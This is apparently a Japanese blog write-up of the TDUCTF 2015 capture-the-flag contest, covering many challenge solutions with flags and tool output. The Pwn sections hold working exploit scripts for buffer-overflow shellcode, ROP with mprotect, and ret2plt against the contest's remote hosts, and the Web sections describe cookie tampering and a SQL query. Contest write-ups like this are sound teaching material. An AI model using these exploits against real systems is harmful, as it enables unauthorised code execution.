@_193sです. 開催1日前に突然枠が空いたのでTDUCTF 2015 に参加してきました.
会場が遠くて迷った
スコアサーバー(のクライアントアプリ)がElectron製ですごい
インフラすごい
CTF開始前のLT中にスコアサーバー弄ってたらフラグが出てきた(XSS meという問題のFlagだった)
問題数が多くてひたすら忙しい
問題が出て10秒~1分以内に解くみたいなのを3問ぐらいでやったので大量にfirst solveボーナスが取れてよかった
世界3位だから3位だった
というわけで解いた問題全部のwriteupを丁寧に書きました
write-ups
練習問題 (Example 39)
solves: 68
1
2
3
4
フラグは TDU{なにか} の形で得られます。
TDU{SAKURAInternet}
by @chibiegg
問題文を読む能力 flag: TDU{SAKURAInternet}
String Compare (Binary 100)
solves: 10
1
2
3
フラグには必ずTDU {}を付けてね。
https: //score.sakura.tductf.org/files /3/ StringCompare .exe
MS-DOS executable. 実行して標準入力に適当な文字列を与えるとThis_is_not_flag :)
と言われる.
適当にバイナリを読むと41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410
で通ることがわかるので,問題文に従ってTDU{}を付けてスコアサーバーにsubmitしたら通った. (これstrings+エスパーだけで解けそう)
flag: TDU{41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410}
clock (Misc 150)
solves: 53
1
2
3
4
この写真が撮影された時間(秒は切り捨て)がFLAG です。
例: 2015 /08/30 14 : 00 : 00 JST → TDU {2015_08_30_14_00 }
https: //score.sakura.tductf.org/files /4/clock .jpg
時計が映ったjpg. exiftoolにかけたら時刻が出てきたのでTDU{2015_01_02_11_35}
を投げたけど通らない.
1
2
3
4
5
6
7
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/clock$ exiftool clock.jpg
ExifTool Version Number : 9.71
File Name : clock.jpg
...
Date/Time Original : 2015 :01 :02 11 :35 :01
Create Date : 2015 :01 :02 11 :35 :01
...
よく問題文を見たらFlagはJSTだったので9時間足したら通った. 写真からグリニッジ天文台の時計だとわかっていたが,exif情報からも経度が確認できるので時差は適当に出しましょう.
1
2
3
GPS Latitude : 51 deg 28 ' 40.53" N
GPS Longitude : 0 deg 0 ' 4.67" W
GPS Position : 51 deg 28 ' 40.53" N, 0 deg 0 ' 4.67" W
flag: TDU{2015_01_11_11_35}
XSS me (Misc 100)
solves: 28
普通のWeb問かと思って問題文を見たらURLがなかったので困惑してしばらく放置していたが,CTF開始前に見つけていたflagを入れたら通った(謎).
クライアントアプリで開発者ツールみたいなものをCtrl+alt+iなどで開いてElementsのところを眺めていると見つかる.
1
'\u 0054\u 0044\u 0055\u 007b\u 0045\u 006c\u 0065\u 0063\u 0074\u 0072\u 006f\u 006e\u 005f\u 0043\u 0054\u 0046\u 005f\u 0046\u 0072\u 006f\u 006e\u 0074\u 0065\u 006e\u 0064\u 005f\u 0069\u 0073\u 005f\u 0043\u 006f\u 006f\u 006c\u 005f\u 0079\u 0061\u 003f\u 007d'
flag: TDU{Electron_CTF_Frontend_is_Cool_ya?}
/dev/null (Binary 250)
solves: 5
1
2
3
Usage: ./devnull > /dev/null
https: //score.sakura.tductf.org/files /12/devnull
ELF 64-bit LSB executable
. linux環境でusage通りに./devnull > /dev/null
を動かすと何も表示せずに終了する./dev/fd/1
などに吐かせようとしても怒られるのでstraceしたらflagが出た.
1
2
3
4
5
6
7
8
9
master@ubuntu:~/CTF/TDUCTF/2015B/bin/dev_null$ strace ./devnull > /dev/null
execve("./devnull" , ["./devnull" ], [/* 19 vars */]) = 0
brk(0 ) = 0x6e7000
fcntl(0 , F_GETFD) = 0
...
mmap(NULL , 4096 , PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1 , 0 ) = 0x7f7962d9b000
write(1 , "TDU{/dev/null_redirection}\n" , 27 ) = 27
exit_group(0 ) = ?
+++ exited with 0 +++
flag: TDU{/dev/null_redirection}
moneyscript (Misc 400)
solves: 8
1
6a1d5444557b426974636f696e21426974636f696e21426974636f696e217d
何も考えずにhexdecodeしたらjTDU{Bitcoin!Bitcoin!Bitcoin!}
が出てきた. なんだこれ
flag: TDU{Bitcoin!Bitcoin!Bitcoin!}
TDUCTF運営からフラグを盗め (Network 400)
solves: 17
1
2
3
4
こたまご氏がのむけん氏に送ったメールが盗聴できた。やったね!
by @chibiegg
https: //score.sakura.tductf.org/files /6/dump .pcap
部分点(25%)しか取れてないです.
SMTPのパケットが並んでいる.メール本文/添付ファイルをstringsから抽出しようとして時間を無駄にしてしまったが,NetworkMinerにかければ一発だった(ファイルの抽出機能はない?).
iso-2022-jpな部分はnkfに食わせれば自動でconvertしてくれる.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
193s@mbp193s:~/CTF/TDUCTF/2015B/nw/TDU運営からフラグを$ nkf < g
...
のむけんさん
お疲れ様です、こたまごです。
さきほどのファイルのパスワードをお送りいたします。
umHA7QEJwgCbkKh (半角にしてください)
...
> 先日相談した暗号の問題ですが、できたのでスコアサーバに答えを登録しておい
> ていただけますか。
>
> 添付ファイルにして送付します。
> パスワードは別途お送りいたします。
>
...
ということなので抽出したflag.zipにパスワードとしてumHA7QEJwgCbkKh
を与えたらflag.txt
, chibiegg.jpg
を吐いてくれた. これで部分点100点獲得.
もう1つchibiegg.jpg
, flag.txt
, flag2.txt
の3つのファイルが入ったzipがあったので,既に入手したflag.txtとchibiegg.jpgを使ってpkcrackでknown-plaintext attackを試みたがダメだった(謎).
flag1: TDU{I_KNOW_CREAR_TEXT_IS_NOT_SECURE}
Lie (Web 100)
solves: 53
1
2
プロになりたい
http: //lie.sakura.tductf.org /
よく覚えていないが,普通にGETを飛ばすとSet-CookieでisPro=Falseみたいなのが降ってきたのでこれをTrueに書き換えるとFlagが出た.
flag: (紛失)
14:50 (Misc 200)
solves: 61
部分点(50%)だけです. 14:50になると突然クライアントアプリで一斉に某社の動画が流れ始めた.何も考えずに閉じてしまったがこれを見ているとFlagが流れてくるらしい. 数時間後また動画が流れてくることになったので今度はよく見ていたらflagが取れたのでそのまま閉じてsubmitしに行ったが,これが部分点50%分のflagだったということに気がついてしまいつらい気持ちになった.
flag1: (紛失)
She’ll code it after school today. (Pwn 250)
solves: 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|><|~|><|
/(((9 )))\
(((( ._. )))) / \
))))---(((( < I enjoy coding after school everyday <3 |
((((`---')))) \______________________________________________/
(___|xXxXx|___)
\ | | /
/ ^ ^ ^ \
/ \
(_._._._._._)
\ | /
( | )
| | |
hjw |-|-|
/`-^-'\
(__,^.__)
(http:
nc crackme.sakura.tductf.org 47806
https:
ELF 32-bit LSB executable
.
ncで繋いで10秒ほど待っているとソースコードのURLが落ちてくる.
1
2
...
(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)
https://gist.github.com/hhc0null/a15c7ed510737957db86
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char your_introduction[0x100 ];
int main()
{
FILE *fp = NULL;
char message[30 ];
puts ("My name is Catherine:)" );
puts ("About me:" );
if ((fp = fopen("my_introduction.txt" , "r" )) == NULL) {
perror("Oops..." );
exit (EXIT_FAILURE);
}
fgets(message, 30 , fp);
puts (message);
fclose(fp);
puts ("Please tell me about you:" );
fgets(your_introduction, 0x100 , stdin);
puts ("Please leave your message:" );
fgets(message, 0x30 , stdin);
puts ("Thank you~ <3" );
sleep(30 );
puts ("(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)" );
return 0 ;
}
2回目のfgetsでbuffer overflowの脆弱性がある. NX disabledなのでyour_introduction(固定アドレス)に自身のアドレス+shellcodeを突っ込んで,bofからespをyour_introductionに向けることでshellcodeを実行するという感じの方針でexploitを書いた.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from ebil import *
exec ebil('./program' , remote=('crackme.sakura.tductf.org' , 47806 ))
addr_message = 0x8049aa0
shellcode = asm(shellcraft.sh())
def popn (n) :
addr_pop3 = 0x08048749
assert n <= 3
ret = addr_pop3+3 -n
return ret
print r.recvuntil('Please tell me about you:\n' )
payload = p(addr_message+4 ) + shellcode
assert not '\n' in payload
send(payload + '\n' )
log.success('addr_message = ' + hex(addr_message))
print r.recvuntil('message:\n' )
payload = 'a' *38
payload += chain([
addr_message + 4 ,
])
assert not '\n' in payload
send(payload+'\n' , 0x30 )
print r.recvuntil('=)\n' )
interact()
flag: (紛失)
In a new stage! (Pwn 180)
solves: 5
1
2
3
4
5
Congratz!
Now, you are in a new stage!
nc crackme.sakura.tductf.org 10195
https ://score.sakura.tductf.org/files /19 /ins
やるだけ.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from ebil import *
exec ebil('./ins' , remote=('crackme.sakura.tductf.org' , 10195 ))
shellcode = asm(shellcraft.sh())
def pop_n (n) :
pop3ret = 0x080485d9
return pop3ret + 3 - n
print r.recvuntil(': ' )
payload = 'a' *16
map_base = 0x8049000
payload += chain([
elf.symbols['mprotect' ], pop_n(3 ), map_base, 1000 , 7 ,
elf.symbols['read' ], pop_n(1 ), 0 , map_base, 2048 ,
])
send(payload, 56 )
send(shellcode, 2048 )
interact()
flag: (紛失)
ret2libc for newbie. (Pwn 120)
solves: 5
1
2
3
4
just ret2libc it !
nc crackme.sakura.tductf.org 10170
https ://score.sakura.tductf.org/files /18 /r2lfn
やるだけ.ret2pltじゃん
1
2
3
4
5
6
7
8
9
10
11
12
13
from ebil import *
exec ebil('./r2lfn' , remote=('crackme.sakura.tductf.org' , 10170 ))
addr_ret = 0x080483ae
payload = p(addr_ret)*10
payload += chain([
elf.plt['system' ], 0xdeadbeef , 0x80486ad ,
])
send(payload, 256 )
interact()
flag: (紛失)
String Encoder no.1 (Binary 200)
solves: 3
1
2
3
4
ファイトだよっ!!
https: //score.sakura.tductf.org/files /26 /no1
https: //score.sakura.tductf.org/files /30 /file
エンコーダ(PE32 executable)とエンコードされたflag. 適当にバイナリを読むと各文字に対して+0x14しているだけだったのでpythonでデコーダを書いて動かした.
1
2
3
4
5
6
7
from sys import stdout
enc = open ('file' , 'r' ).read ()
for c in enc:
stdout .write (chr(ord(c)-0x14 & 0xff ))
1
2
3
193 s@mbp193s :~/CTF/TDUCTF/ 2015 B/bin/String_Encoder /1 $ ./solve.py
TDU {Welcome_to_TDUCTF 's_string_encoder!}h���������������a�`�
������������������ ��e��`����%
flag: TDU{Welcome_to_TDUCTF's_string_encoder!}
String Encoder no.3 (Binary 300)
solves: 1
1
2
3
4
ファイトだよっ!!
https: //score.sakura.tductf.org/files /28 /no3
https: //score.sakura.tductf.org/files /31 /file
結局自分しか解かなかったっぽい. 各文字cについてc = i + (i^c)
という置換をしているだけなので,適当にデコーダを書いておわり.
1
2
3
4
5
6
7
8
9
10
11
12
from sys import stdout
enc = open('file' , 'r' ).read()
def decode (c, i) : return (c - i) ^ i
flag = ''
for i in xrange(100 ):
flag += chr(decode(ord(enc[i]), i) & 0xff )
print flag
1
2
193 s@mbp193s :~/CTF/TDUCTF/ 2015 B/bin/String_Encoder /3 $ ./solve.py
TDU {addCounter!xorCounter!}h������th�u�t� �<���$0 �(0 �,0 �40 �y̖t
flag: TDU{addCounter!xorCounter!}
SQL Practice (Web 300)
solves: 26
ほとんど覚えていないが,@nomukenのツイートがDB化されてそこに対して任意のクエリが発行できるという問題. 何も考えずにSELECT 忘れた FROM 忘れた WHERE 忘れた LIKE '%TDU{%'
みたいなクエリを投げたらflagが降ってきた. first solveありがとうございました
flag: (紛失)
nullflood (Misc 100)
solves: 38
1
2
3
so meny zeros
https: //score.sakura.tductf.org/files /23 /zeros
何も考えずに標準出力に流したらflagが出てきてア
1
2
193 s@mbp193s :~/CTF/TDUCTF/ 2015 B/misc/nullflood$ cat zeros
TDU {Strings_is_useful }
hexdumpしてみるとわかるが,0x00が大量に入っていてstringsでは抽出できないよねみたいな問題らしい.
flag: TDU{Strings_is_useful}
cheap camouflage (Misc 100)
solves: 18
1
2
3
Portable Network Graphics
https: //score.sakura.tductf.org/files /33 /image.png
pngpongと書かれたpng.vimでバイナリを眺めているとIENDの後にPKという文字列が見えたのでpngの末尾にzipファイルが付いているということがわかる. 適当に分離してunzipしようとするとpasswordを求められるので,画像の”pngpong”を入れてやると無事復号できる.
1
2
3
4
193 s@mbp193s :~/CTF/TDUCTF/ 2015 B/misc/cheap_camo$ unzip a
Archive : a
[a] flag.txt password: pngpong
extracting: flag.txt
flag: TDU{a_file_followed_the_png}
まとめ
個人戦はつらい
スコアサーバーがすごかった
最高に楽しかったです,運営各位本当にありがとうございました
次回の開催も期待してます :)